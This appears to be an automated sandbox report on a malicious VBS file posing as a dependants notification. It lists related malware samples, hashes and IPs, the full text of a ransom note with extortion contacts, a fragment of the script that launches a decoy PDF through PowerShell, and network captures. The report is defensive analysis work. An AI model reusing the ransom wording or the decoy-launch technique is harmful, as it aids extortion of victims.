	1feP5qTCl0.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	V6ZsDcgx4N.exe	Get hash	malicious	Unknown	Browse	45.125.66.18
	https://57365oo.cc/	Get hash	malicious	Phisher	Browse	45.125.65.213
	zte.arm7.elf	Get hash	malicious	Unknown	Browse	45.125.66.78
	Kxk45K3cAx.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.125.66.223

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	45.125.67.168
	file.exe	Get hash	malicious	XWorm	Browse	45.125.67.168
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	45.125.67.168
	svhost.vbs	Get hash	malicious	Unknown	Browse	45.125.67.168
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	45.125.67.168
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	45.125.67.168
	adv.ps1	Get hash	malicious	LummaC	Browse	45.125.67.168
	d2W4YpqsKg.lnk	Get hash	malicious	LummaC	Browse	45.125.67.168
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	45.125.67.168
	https://nam.dcv.ms/0CX72Iqyxf	Get hash	malicious	HTMLPhisher	Browse	45.125.67.168

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8232291770300421
Encrypted:	false
SSDEEP:	3072:CJC5rk0X+MbJ72D4qgfiaDhvO7VMBfWHLpEj:TJwmiF7VMyLpEj
MD5:	9E95D304D2032717C67005B1015DA2DC
SHA1:	94B82DDB0BB04D09483EEC5B7807D00916E20065
SHA-256:	6D5FAC41210D1B641734F540757908688E649971D1C1D3F6EE4C77A531C3F368
SHA-512:	D57BD838D18406CEBDA748EFF8DCC6F8F7222DAC9E3B768ACB7CE2E1E99B5B6A47E32BE97EB663A594EC030B29D6CEFA0FF2F50D2F9333E378254E41B7FAB752
Malicious:	false
Preview:	dg".........@..@%9...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................T.....#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NOTIFICATION_OF_DEPENDANTS.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Operating System Destruction

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\Public\AccountPictures\Decryptfiles.txt

C:\Users\Public\Decryptfiles.txt

C:\Users\Public\Documents\Decryptfiles.txt

C:\Users\Public\Downloads\Decryptfiles.txt

C:\Users\Public\Libraries\Decryptfiles.txt

C:\Users\Public\Libraries\RecordedTV.library-ms

C:\Users\Public\Libraries\RecordedTV.library-ms.FCon (copy)

C:\Users\Public\Music\Decryptfiles.txt

C:\Users\Public\Pictures\Decryptfiles.txt

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS.vbs

Process:	C:\Users\user\AppData\Local\Temp\eryy65ty.exe
File Type:	ASCII text, with very long lines (3354), with CRLF line terminators
Category:	dropped
Size (bytes):	4165
Entropy (8bit):	4.792271041094558
Encrypted:	false
SSDEEP:	96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
MD5:	73A838375F20E252402225AA5083BFB2
SHA1:	201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
SHA-256:	9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
SHA-512:	F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
Malicious:	false
Preview:	ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllulm/h:NllUm/
MD5:	99BF7E5AC393B94FA00AF2633B36F459
SHA1:	3EF3794E2F36781FC998332AA352F1E9F4A04D16
SHA-256:	70D7DADBB347ECF2CE4E855AE88EB46AA0614BE58A89FDC37E02600E4B3AB01F
SHA-512:	520661786E7DB09C48315919BA2B78A92B34F4C7A25BEACFE9D5E253992E867212AED8041D4A7ECC003A444A962EF7E6140662A859437782D2C94CDADDC9704E
Malicious:	false
Preview:	@...e.................................*..............@..........

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 14 11:59:37 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9742004929497017
Encrypted:	false
SSDEEP:	48:8y1dMTUxZguHRidAKZdA1nehwiZUklqehjy+3:8ykIgioy
MD5:	4941533295248ABC367E12A1D1EF3E7B
SHA1:	0511CC5E22B2EA7FF54B482FF3E1409066F1C038
SHA-256:	C84B790CFE2822FF0C366C4B3D8B7EB81F4424E3274823C944A67FBBFA630A54
SHA-512:	222C588370863A81BE0DC49A006C0E84DDA0022A6E3D5D303D30190166132BB091E341AB80E97777A2EE8C0F1B5E9BB218A1D76B332836C2E2D513AE8377B283
Malicious:	false
Preview:	L..................F.@.. ...$+.,....rp..(N......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Yqg....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yqg....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Yqg....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Yqg..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Ysg............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.305255793112395
Encrypted:	false
SSDEEP:	3:8yzGc7C1RREal:nzGtRV
MD5:	6ED2062D4FB53D847335AE403B23BE62
SHA1:	C3030ED2C3090594869691199F46BE7A9A12E035
SHA-256:	43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
SHA-512:	C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
Malicious:	false
Preview:	ERROR:...Description = Initialization failure...

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	283
Entropy (8bit):	4.84674468132717
Encrypted:	false
SSDEEP:	6:PzXULmWxHLTpUrUPZ7wUsW3CNcwAFeMmvVOIHJFxMVlmJHaVFiSbietG:P+pTpcUP9nsTDAFSkIrxMVlmJHaVJ/o
MD5:	7DA6C89F3E3B1033285DEC8A71A04E4D
SHA1:	4542097F9D99DF36E4A34CA6254CE7C01F78B258
SHA-256:	F2FA022B21EFBAA5E055E1DA3442367D00FA2F79F6AC582F4AC70EB68C1BC80D
SHA-512:	00A21ADADEAE33819995DCB5E3D050C8F8ECFE96B29D6584DBAFC7BC46F4AD3E96B6FB3C2276A5AD26F1F4128B7A1353A1747E171860AAC76B4D7B465FD7669C
Malicious:	false
Preview:	..Pinging 1.1.1.1 with 32 bytes of data:..Reply from 1.1.1.1: bytes=32 time=137ms TTL=55....Ping statistics for 1.1.1.1:.. Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 137ms, Maximum = 137ms, Average = 137ms..

File type:	ASCII text
Entropy (8bit):	5.303020791428365
TrID:
File name:	NOTIFICATION_OF_DEPENDANTS.vbs
File size:	937 bytes
MD5:	35bac32c4a974aca6eb45625ea91bdb9
SHA1:	90b726a869c796b710340da2cdce72894cfb5321
SHA256:	f7cbe1d0926c6e0895951882ff430d624630cd14b4d3b1a4c837a3feac71dd48
SHA512:	2222d7d791393fd6a96d37da806f89906aabe5b28ed0749176a91a65215bbc6e240ff4cd7250b511960af1ec1c5505e8166509ca82e0494c1dfc2f9ff9e2c695
SSDEEP:	24:EC5nX10YJnELIpDe/9u8VKOpiFMpw8sFkvyq1UC:j5nl0YJEqylVhpgM9pv1
TLSH:	3B11DC23E5AC533D17FE8674C2E613A98E03FB41090465A75E39FD45828559583B268D
File Content Preview:	' Define the command to execute .Dim command.command = "cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf" .command4 = "cmd /c

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 13:59:35.516426086 CET	63552	53	192.168.2.11	1.1.1.1
Dec 14, 2024 13:59:35.516578913 CET	50314	53	192.168.2.11	1.1.1.1
Dec 14, 2024 13:59:35.652055025 CET	53	52960	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:35.656287909 CET	53	51063	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:36.253232956 CET	53	63552	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:36.254358053 CET	53	50314	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:39.094788074 CET	53	58582	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:39.785444975 CET	52579	53	192.168.2.11	1.1.1.1
Dec 14, 2024 13:59:39.786312103 CET	65042	53	192.168.2.11	1.1.1.1
Dec 14, 2024 13:59:39.975653887 CET	53	65042	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:39.976959944 CET	53	52579	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:43.120295048 CET	53161	53	192.168.2.11	1.1.1.1
Dec 14, 2024 13:59:43.519906998 CET	53	53161	1.1.1.1	192.168.2.11
Dec 14, 2024 13:59:56.202796936 CET	53	62750	1.1.1.1	192.168.2.11
Dec 14, 2024 14:00:15.047272921 CET	53	54810	1.1.1.1	192.168.2.11
Dec 14, 2024 14:00:26.148627043 CET	138	138	192.168.2.11	192.168.2.255
Dec 14, 2024 14:00:35.303725004 CET	53	53313	1.1.1.1	192.168.2.11
Dec 14, 2024 14:00:37.720362902 CET	53	50307	1.1.1.1	192.168.2.11
Dec 14, 2024 14:01:08.429948092 CET	53	51424	1.1.1.1	192.168.2.11

Timestamp	Source IP	Dest IP	Checksum	Type
Dec 14, 2024 14:00:40.329272032 CET	192.168.2.11	1.1.1.1	4d5a	Echo
Dec 14, 2024 14:00:40.465800047 CET	1.1.1.1	192.168.2.11	555a	Echo Reply
Dec 14, 2024 14:00:57.472265959 CET	192.168.2.11	1.1.1.1	4d59	Echo
Dec 14, 2024 14:00:57.609751940 CET	1.1.1.1	192.168.2.11	5559	Echo Reply
Dec 14, 2024 14:01:01.276829004 CET	192.168.2.11	1.1.1.1	4d58	Echo
Dec 14, 2024 14:01:01.413543940 CET	1.1.1.1	192.168.2.11	5558	Echo Reply

Timestamp	Bytes transferred	Direction	Data
2024-12-14 12:59:38 UTC	778	OUT	GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1 Host: www.oldmutual.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-14 12:59:38 UTC	1051	IN	HTTP/1.1 200 OK Content-Type: application/pdf Content-Length: 313058 Connection: close Content-Disposition: inline; filename=Superfund_Beneficiary_Nomination_form.pdf Fastly-Io-Error: not a supported image format Fastly-Io-Served-By: vpop-etou8240196 Fastly-Stats: io=1 Server: contentstack X-Contentstack-Organization: blt2c31cdce6d24f06c X-Request-Id: 153d77aac8426bfb4b8c4c3c0751c407 X-Runtime: 105ms Via: 1.1 varnish, 1.1 varnish, 1.1 6ee57430ba13d2dcea3397c03edd349a.cloudfront.net (CloudFront) Cache-Control: max-age=31536000 Accept-Ranges: bytes Date: Sat, 14 Dec 2024 12:59:38 GMT X-Served-By: cache-ams21052-AMS, cache-fjr990022-FJR X-Cache-Hits: 5, 0 X-Timer: S1734181179.578163,VS0,VE125 Access-Control-Expose-Headers: content-disposition, content-type, cache-control, status, content-length Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31557600 Vary: Accept-Encoding X-Cache: Miss from cloudfront X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: MsLzw9OAowEX2H3b3BiBRKXD86uwPlA2VI2iB2mvBHdzPwxLEQA3XA==
2024-12-14 12:59:38 UTC	16384	IN	Data Raw: 25 50 44 46 2d 31 2e 36 0d 25 e2 e3 cf d3 0d 0a 31 31 39 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 34 31 38 2f 4c 65 6e 67 74 68 20 33 36 38 31 2f 4e 20 34 36 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de cc 5a 7b 6f 1b 39 92 ff 2a 0d dc 1f 9b e0 30 62 37 9f 4d 60 11 40 b1 9d 19 df c6 76 2e 76 2e 37 d3 10 16 6d a9 6d 37 46 52 6b 5b ad 4c 7c 9f fe 7e 45 16 65 f9 19 27 13 4c 16 86 c4 57 55 b1 aa 58 2f d2 f2 b6 cc f2 cc 5b 9f 49 6d 32 6f 5c e6 a4 45 6b b3 52 62 de 60 ae c0 d8 a9 ac c8 1d 06 ae c8 0a 53 52 47 66 32 2f a8 93 67 52 5a 09 1a 98 31 04 6c 8b 4c 5a 55 a2 e3 d0 d1 0e 1d 9b 49 e7 08 46 a1 53 16 e8 00 ab 54 0a 3b f8 4c e9 02 33 a6 cc 94 75 c4 8b c9 94 93 00 76 Data Ascii: %PDF-1.6%1196 0 obj<</Filter/FlateDecode/First 418/Length 3681/N 46/Type/ObjStm>>streamhZ{o9*0b7M`@v.v.7mm7FRk[L\|~Ee'LWUX/[Im2o\EkRb`SRGf2/gRZ1lLZUIFST;L3uv
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: 27 06 fe bc d0 63 0f 61 5d 5e 56 70 d7 b5 de 4e bb 2e 2f 2b 56 fb 86 cb cb 8a ed 9d b3 2e 2f 2b b6 17 ae ba bc ac d8 5e b8 ea d2 b2 62 fb 6d e4 fe 1a 71 50 56 cc 5f 10 7c 5a 56 22 e6 95 f3 0d 15 71 55 7c 14 d4 ba c2 0b e2 69 59 59 27 5e f3 01 7e 1a 4d 63 d7 38 34 ba c6 d0 38 35 a6 c6 d2 28 3c 13 9e 09 cf 84 67 0f 75 22 46 7c a1 6c 55 3f 6d ac 6e 1a bb c6 a1 d1 35 86 c6 a9 31 35 d6 43 09 59 4f 0b 11 9e 1b 75 9f cd cf 16 6f 4b ba 97 74 2f e9 5e d2 bd 4c 2a 98 54 30 a9 60 52 c1 f2 fc d1 b7 25 0f 97 3c 5c f2 70 c9 c3 25 0f 97 3c 5c f2 70 c9 c3 d5 0e 0c bb cd 25 3f 2f f9 79 29 6e 4b 71 5b 8a db 52 dc 96 e2 b6 14 b7 b5 8e d0 55 e5 b3 84 aa de 92 ea 2d a9 de 92 ea 2d a9 de 92 a5 6c 38 15 91 73 e8 ea 0a a9 ae 90 ea 0a a9 ae 90 29 54 f5 a2 54 2f 4a f5 a2 2c 3b 42 Data Ascii: 'ca]^VpN./+V./+^bmqPV_\|ZV"qU\|iYY'^~Mc8485(<gu"F\|lU?mn515CYOuoKt/^L*T0`R%<\p%<\p%?/y)nKq[RU--l8s)TT/J,;B
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: 64 3a 33 35 38 33 63 35 35 31 2d 36 38 30 37 2d 39 37 34 31 2d 39 63 66 30 2d 36 38 32 64 62 35 31 38 31 35 33 65 3c 2f 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 69 6e 64 64 3a 63 33 36 35 33 35 39 65 2d 35 62 35 66 2d 31 31 64 64 2d 39 31 65 30 2d 62 30 65 61 30 30 65 31 37 65 62 64 3c 2f 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3e 0a 20 20 20 20 20 20 20 20 20 3c 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3e 78 6d 70 2e 69 64 3a 32 65 34 64 31 30 61 38 2d 38 31 34 31 2d 34 31 64 35 2d 38 35 38 37 2d 33 62 33 32 39 33 34 62 66 38 66 65 3c 2f 78 6d 70 4d 4d 3a 44 6f 63 Data Ascii: d:3583c551-6807-9741-9cf0-682db518153e</xmpMM:InstanceID> <xmpMM:OriginalDocumentID>adobe:docid:indd:c365359e-5b5f-11dd-91e0-b0ea00e17ebd</xmpMM:OriginalDocumentID> <xmpMM:DocumentID>xmp.id:2e4d10a8-8141-41d5-8587-3b32934bf8fe</xmpMM:Doc
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: 99 79 52 dd 63 8a 3e cf df 5e f0 78 ee 49 23 b8 9d 4f 35 4e f3 2c f6 47 ef 2d 34 72 50 1f 28 f5 f0 66 0a 6e 2f 12 00 8f 9f ee 30 6e 45 61 20 25 fb cc 74 cb 50 4a 66 fe 1b 15 27 78 1e f4 7e d4 84 c5 12 22 2d c6 e8 e6 23 97 47 8a c5 31 7d 0c ad c2 c6 2b 02 9d 15 ed 20 c3 79 73 13 52 3a 80 16 15 93 0d a0 05 d0 35 13 1e 4d 56 59 c6 62 31 ad 0b 31 54 c4 7e 83 8f 52 44 da df 4b 06 30 03 a6 90 2e 35 8d e1 09 7b 55 11 aa 88 af 2a 49 b5 d5 c9 52 23 8d a0 27 eb 1e 5b 1f c5 15 b6 1e bf 8f 2e 35 33 ff bd a1 58 ee 82 2e 55 ab b0 00 b5 62 15 e2 c0 2e 35 b2 c7 d7 14 e0 16 da bb 3e 8a 62 ea b0 30 8a f8 20 3c 2b d8 ef 29 46 74 bf 65 06 d0 25 50 84 20 4e 56 f0 89 5d b1 23 45 94 f0 9c c0 33 ef b7 ca 87 b6 50 fb 7d 95 3c 08 cc 06 93 e5 3c e8 43 48 d1 fe 0d 95 8c 78 fa 51 7d Data Ascii: yRc>^xI#O5N,G-4rP(fn/0nEa %tPJf'x~"-#G1}+ ysR:5MVYb11T~RDK0.5{U*IR#'[.53X.Ub.5>b0 <+)Fte%P NV]#E3P}<<CHxQ}
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: c1 d2 79 4b d9 4f b0 b5 8c fd 94 55 c3 7e ca ba 9b fd 94 b5 9c db 0c c0 b8 87 db 64 a3 96 db 64 23 cc 6d b2 51 c7 3e 41 18 f5 ec c3 c6 0a f6 61 a3 81 7d d8 58 a9 e2 2a 85 75 af 8a 8b ad fb 54 5c 6c ad 52 71 b1 b5 5a c5 c5 d6 1a 15 17 5b f7 ab b8 d8 5a ab e2 62 6b 1d c6 b8 28 36 81 0f a8 54 a4 18 e6 b7 b4 39 1d e6 83 3c e8 2a 35 03 a9 f5 b8 46 8d cf 43 da 64 9f 0d ca 47 18 9f 87 51 78 6a ac d6 47 54 4a 95 78 54 9b 5c 62 a3 36 d9 7d 13 ea 31 0e 8f 69 93 1d 36 6b 93 1d be 0d 5f 7f ac be 2d 2a a5 dc b7 6a 93 dd b7 69 93 dd 1f 47 49 e3 b0 5d 9b ec f0 1d 6d b2 c3 0e f8 4e 8b d5 f7 84 4a 29 f7 ef 6a 93 dd bf a7 4d 76 7f 12 25 8d c3 53 da 64 87 a7 b5 c9 0e 3b bd 4d 7d 1c 32 fa 58 2d cd 8f 24 ad 8c 58 d9 95 9b a2 f7 f0 68 f3 1b d1 45 25 7f 38 fe ea cc da 14 ff 7f Data Ascii: yKOU~dd#mQ>Aa}XuT\lRqZ[Zbk(6T9<5FCdGQxjGTJxT\b6}1i6k_-*jiGI]mNJ)jMv%Sd;M}2X-$XhE%8
2024-12-14 12:59:39 UTC	16384	IN	Data Raw: 53 4d ab 85 aa b5 95 90 d6 48 6b 57 67 18 88 cd 89 a0 17 22 8c 4e 35 3c 18 96 84 94 e1 41 fa e0 0f 67 cf 7d 7a 69 fd 01 95 d6 f9 83 e3 17 27 3e be cd ee 39 b7 ff 45 79 d5 c6 b4 75 9d e1 73 8e bf 80 7c e0 6b 63 0c d8 98 8f 6b 63 08 21 10 8c b1 1d 3e 7c 8d 0d 26 e0 05 1c 0c e1 a3 c1 59 13 06 c9 92 54 2d a3 cd 07 4d 1a 93 90 8f 69 93 9a 46 53 33 75 99 54 75 3f a6 6c 53 34 2d 9a b4 a5 da a4 6e da 8f 49 9d a6 49 5b 9b f6 c7 b4 8f ac d3 a6 4d d3 b4 a9 4d c6 65 cf 39 f7 62 20 59 36 2d 04 0b df 7b ee 39 ef fb bc cf fb bc cf 9d 99 f9 ea 24 6a f6 bd 8e a3 f1 f8 67 3b d4 16 0d 07 7e f6 61 9c bd 85 34 28 75 88 c5 00 f2 cd 20 6d 71 6a fb 20 31 1a 4d 07 89 c9 14 32 a5 24 fe cf 6a 2e ac 68 b4 d7 38 f2 3f 63 8c aa 97 68 46 fd 06 bd bc f2 77 76 6f e1 9b 0b 77 16 d6 f6 8d Data Ascii: SMHkWg"N5<Ag}zi'>9Eyus\|kckc!>\|&YT-MiFS3uTu?lS4-nII[MMe9b Y6-{9$jg;~a4(u mqj 1M2$j.h8?chFwvow
2024-12-14 12:59:39 UTC	8949	IN	Data Raw: 9b 85 cc 6a c5 a4 25 08 35 75 06 ca 41 0a 84 73 6a 0d 82 9f 36 a0 2d c8 82 d0 83 ce 41 35 88 fb 53 16 7e 39 a6 64 51 33 c7 24 72 09 42 ef 79 05 62 87 6c 1d e7 c9 27 53 eb a8 ad 98 b6 31 8f 1d e4 16 35 0d cf 2c db e2 9c 56 81 30 17 cb 0e 59 19 27 c1 0e b2 84 83 a9 40 e8 dd d4 88 8c 55 e0 57 a2 23 6b bf ff 9a a9 10 ad d8 53 56 38 9d c1 84 23 29 ae 64 ea b8 25 d0 ea 06 c4 5b 62 1a f4 a1 b0 09 4d f4 b4 20 cc d4 e6 bc 8c 71 eb 96 b5 0c b7 47 fc ec 7c 77 f5 3e ac 3b 5f 31 de f3 65 c3 07 47 3f b7 70 1a 27 11 b2 96 37 f9 02 00 00 ff ff 00 00 00 ff ff 03 00 b3 a2 e6 f7 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 39 39 31 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 31 37 37 2e 38 34 20 31 33 2e 32 5d 2f 46 6f 72 6d 54 79 70 65 20 Data Ascii: j%5uAsj6-A5S~9dQ3$rBybl'S15,V0Y'@UW#kSV8#)d%[bM qG\|w>;_1eG?p'7endstreamendobj991 0 obj<</BBox[0.0 0.0 177.84 13.2]/FormType
2024-12-14 12:59:39 UTC	7435	IN	Data Raw: 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 30 33 38 20 30 20 6f 62 6a 0d 3c 3c 2f 42 42 6f 78 5b 30 2e 30 20 30 2e 30 20 37 32 2e 30 20 31 33 2e 33 31 39 39 5d 2f 46 6f 72 6d 54 79 70 65 20 31 2f 4c 65 6e 67 74 68 20 31 33 2f 4d 61 74 72 69 78 5b 31 2e 30 20 30 2e 30 20 30 2e 30 20 31 2e 30 20 30 2e 30 20 30 2e 30 5d 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 50 72 6f 63 53 65 74 5b 2f 50 44 46 5d 3e 3e 2f 53 75 62 74 79 70 65 2f 46 6f 72 6d 2f 54 79 70 65 2f 58 4f 62 6a 65 63 74 3e 3e 73 74 72 65 61 6d 0d 0a 2f 54 78 20 42 4d 43 20 0a 45 4d 43 0a 0d 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a Data Ascii: >/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj1038 0 obj<</BBox[0.0 0.0 72.0 13.3199]/FormType 1/Length 13/Matrix[1.0 0.0 0.0 1.0 0.0 0.0]/Resources<</ProcSet[/PDF]>>/Subtype/Form/Type/XObject>>stream/Tx BMC EMCendstreamendobj
